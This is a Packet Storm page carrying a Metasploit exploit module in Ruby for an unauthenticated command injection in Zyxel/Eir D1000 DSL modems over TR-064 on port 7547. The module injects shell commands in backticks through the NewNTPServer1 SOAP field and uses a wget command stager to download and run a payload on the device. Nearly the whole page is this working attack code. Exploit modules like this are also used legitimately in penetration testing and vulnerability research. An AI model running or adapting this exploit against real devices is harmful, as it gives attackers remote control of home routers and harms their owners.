what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064

Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064
Posted Jan 5, 2017
Authored by Kenzo | Site metasploit.com

Broadband DSL modems manufactured by Zyxel and distributed by some European ISPs are vulnerable to a command injection vulnerability when setting the 'NewNTPServer' value using the TR-64 SOAP-based configuration protocol. In the tested case, no authentication is required to set this value on affected DSL modems. This exploit was originally tested on firmware versions up to 2.00(AADU.5)_20150909.

tags | exploit, protocol
SHA-256 | d0f3e308df7f2c60b46816c186b7e07f2aa7c82bc528b215657b9e6e540218cd

Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064

Change Mirror Download
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064',
'Description' => %q{
Broadband DSL modems manufactured by Zyxel and distributed by some
European ISPs are vulnerable to a command injection vulnerability when setting
the 'NewNTPServer' value using the TR-64 SOAP-based configuration protocol. In
the tested case, no authentication is required to set this value on affected
DSL modems.

This exploit was originally tested on firmware versions up to 2.00(AADU.5)_20150909.
},
'Author' =>
[
'Kenzo', # Vulnerability discovery and original Metasploit module
'Michael Messner <devnull[at]s3cur1ty.de>', # Copypasta from TheMoon msf module, payload help
'todb', # Metasploit module
'wvu' , # Metasploit module
'0x27' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '40740' ],
[ 'URL', 'https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/'],
[ 'URL', 'https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759'],
[ 'URL', 'https://broadband-forum.org/technical/download/TR-064.pdf']
],
'DisclosureDate' => 'Nov 07 2016',
'Privileged' => true,
'Targets' =>
[
[ 'MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
],
[ 'MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],

],
'DefaultTarget' => 0,
'DefaultOptions' => {'WfsDelay' => 10}
))

register_options(
[
Opt::RPORT(7547), # TR-064 CWMP port for SOAP/XML commands
OptBool::new('FORCE_EXPLOIT', [false, 'Force an attempt even if the check fails', nil])
], self.class)

end

def set_new_ntp_server(cmd)
template = "<?xml version=\"1.0\"?>"
template << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
template << " <SOAP-ENV:Body>"
template << " <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">"
template << " <NewNTPServer1>`%s`</NewNTPServer1>" # Backticks, aw yeah
template << " <NewNTPServer2></NewNTPServer2>"
template << " <NewNTPServer3></NewNTPServer3>"
template << " <NewNTPServer4></NewNTPServer4>"
template << " <NewNTPServer5></NewNTPServer5>"
template << " </u:SetNTPServers>"
template << " </SOAP-ENV:Body>"
template << "</SOAP-ENV:Envelope>"

template % cmd
end

def execute_command(cmd, opts)
uri = '/UD/act?1'
soapaction = "urn:dslforum-org:service:Time:1#SetNTPServers"
injected_data = set_new_ntp_server(cmd)
begin
res = send_request_cgi({
'uri' => uri,
'ctype' => "text/xml",
'method' => 'POST',
'headers' => {
'SOAPAction' => soapaction,
},
'data' => injected_data
}, 2)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end

def check
begin
res = send_request_cgi({
'uri' => '/globe' # TODO: Check this? Why not /UD/act?1
})
rescue ::Rex::ConnectionError
vprint_error("#{peer} - A connection error has occured")
return Exploit::CheckCode::Unknown
end

if res and res.code == 404 and res.body =~ /home_wan\.htm/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def inject_staged_data
execute_cmdstager(flavor: :wget, linemax: 65, delay: 3)
end

def exploit
print_status("#{peer} - Checking...")

if check == Exploit::CheckCode::Appears
print_status("#{peer} - Appears vulnerable")
inject_staged_data
elsif datastore['FORCE_EXPLOIT']
print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.")
inject_staged_data
else
fail_with(Failure::Unknown, "#{peer} - Failed to access the device")
end

end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close